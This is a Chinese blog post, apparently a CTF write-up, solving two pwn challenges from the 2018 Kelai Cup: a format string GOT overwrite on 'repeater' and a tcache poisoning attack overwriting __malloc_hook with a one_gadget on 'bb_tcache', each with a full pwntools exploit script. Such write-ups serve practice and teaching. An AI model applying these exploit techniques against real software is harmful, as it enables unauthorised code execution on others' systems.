前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >2018科来杯PWN复现(一)

2018科来杯PWN复现(一)

作者头像
yichen
发布2020-10-28 10:48:07
5280
发布2020-10-28 10:48:07
举报

题目附件:

https://pan.baidu.com/s/1_rwQCWIeII8zTQSdkTgPVw

提取码: jpzx

感谢 CataLpa 师傅给的题目

https://wzt.ac.cn/

repeater

32 位的程序,存在很明显的格式化字符串漏洞

数一下偏移,第四个

有个 cat flag 的后门 0x8048616,但是有一个 number 限制,nubmer 要等于 8216 才行,可以直接让他执行 0x8048638 那一块,那就覆写 puts 函数的 got 表把

代码语言:javascript
复制
from pwn import *
context.log_level = 'DEBUG'
p = process("./repeater")
elf=ELF('./repeater')
puts_got=elf.got['puts']
p.recvuntil("your msg:")
payload = fmtstr_payload(4,{puts_got:0x8048638})
p.sendline(payload)
p.interactive()

bb_tcache

程序的逻辑挺简单的,free 之后没有置为 NULL

另外还提供了 system 的地址,可以直接拿来算 libc 的基址了

代码语言:javascript
复制
from pwn import *
context.log_level = 'DEBUG'
p=process('bb_tcache')
elf=ELF('bb_tcache')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def alloc():
  p.sendlineafter("4. quit!\n","1")

def release():
  p.sendlineafter("4. quit!\n","2")

def fill(content):
  p.sendlineafter("4. quit!\n","3")
  p.sendafter("something.\n",content)

p.recvuntil("need this: ")
sys_addr = int(p.recvuntil('\n', drop=True).strip(), 16)
libc_base = sys_addr - libc.symbols["system"]
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0x10a45c
alloc()
release()
fill(p64(malloc_hook))
alloc()
alloc()
fill(p64(one_gadget))
alloc()
p.interactive()

首先 malloc 一个,free 之后再去编辑,编辑成 malloc_hook(tcache 不会对 size 进行检查,所以可以直接申请到 malloc_hook 这里)

然后 malloc 两次就申请到了 malloc_hook 那里了,再去编辑就可以把 malloc_hook 改为 one_gadget 的地址,这样去 malloc 的时候就可以拿到 shell

啊啊啊,好简单的说

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • repeater
  • bb_tcache
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档